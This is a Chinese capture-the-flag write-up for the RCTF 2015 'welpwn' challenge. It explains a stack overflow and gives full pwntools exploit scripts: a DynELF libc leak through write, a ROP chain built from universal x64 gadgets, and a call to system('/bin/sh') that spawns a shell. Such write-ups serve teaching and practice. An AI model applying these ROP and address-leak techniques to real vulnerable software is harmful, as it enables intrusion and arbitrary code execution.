RCTF 2015 welpwn [ROP] [x64通用gadgets]
先checksec一下:
漏洞点其实蛮好找的:程序里也没几个函数
main函数中read了一个字符串,然后当成参数传递给了echo函数
在echo中的函数的接收buffer长度仅仅为0x10,而且是一个一个字符赋值的,栈缓冲区溢出漏洞,0x10 + 0x8 = 0x18个填充
控制了ESP之后,程序开启了NX,一定想到的是ROP
这里的基础知识是:
这三篇算是ROP的基础入门,涉及X86、X64以及通用gadgets的使用
这里的思路及步骤是:
(1)利用DynELF工具,弄出来system、gets、write函数的地址
(2)调用gets函数读取"/bin/sh",存入bss段
(3)调用system函数执行参数"/bin/sh"
最常用的就是这一段代码,先来写第一段,利用write函数泄露地址:执行write(1, write_got, 8)
1表示标准输出(屏幕),8代表长度,write_got为地址
根据x64原则,即:write(rdi = 1, rsi = write.got, rdx = 8)
于是有如下的赋值:
rbx=0,rbp=1,r12为write函数地址,r13为8,r14为write函数地址,r15为1
第一段如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = process("./welpwn")
context(arch = "amd64", os = "linux")
elf = ELF("./welpwn")
read_got = elf.symbols['got.read']
write_got = elf.symbols['got.write']
main = elf.symbols['main']
m3c = 0x400880
p6r = 0x40089A
p4r = 0x40089C
flag = 0
def leak(address):
global flag
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = address
r15 = 1
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("Welcome to RCTF\n")
io.sendline(payload)
if flag:
io.recv(0x1b)
addr = io.recv(8)
#log.info("recv:" + str(addr))
flag += 1
return addr
d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))
io.interactive()
下一步是利用相同gadgets执行read(rdi = 0, rsi = bss_start, rdx = 8)
即有:
rbx=0,rbp=1,r12为read函数地址,r13为8,r14为bss_start,r15为0
#read(0, bss_start, 24)
bss = 0x601300
rbx = 0
rbp = 1
r12 = read_got
r13 = 24
r14 = bss
r15 = 0
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
sleep(1)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00" + p64(system))
同理,执行system("/bin/sh")也是一样,代码合并如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = process("./welpwn")
context(arch = "amd64", os = "linux")
elf = ELF("./welpwn")
read_got = elf.symbols['got.read']
write_got = elf.symbols['got.write']
main = elf.symbols['main']
m3c = 0x400880
p6r = 0x40089A
p4r = 0x40089C
flag = 0
def leak(address):
global flag
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = address
r15 = 1
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("Welcome to RCTF\n")
io.sendline(payload)
if flag:
io.recv(0x1b)
addr = io.recv(8)
#log.info("recv:" + str(addr))
flag += 1
return addr
d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))
#read(0, bss_start, 24)
bss = 0x601300
rbx = 0
rbp = 1
r12 = read_got
r13 = 24
r14 = bss
r15 = 0
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
sleep(1)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00" + p64(system))
#system("/bin/sh")
rbx = 0
rbp = 1
r12 = bss + 8
r13 = r14 = r15 = bss
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
io.sendline(payload)
sleep(1)
io.recv()
io.interactive()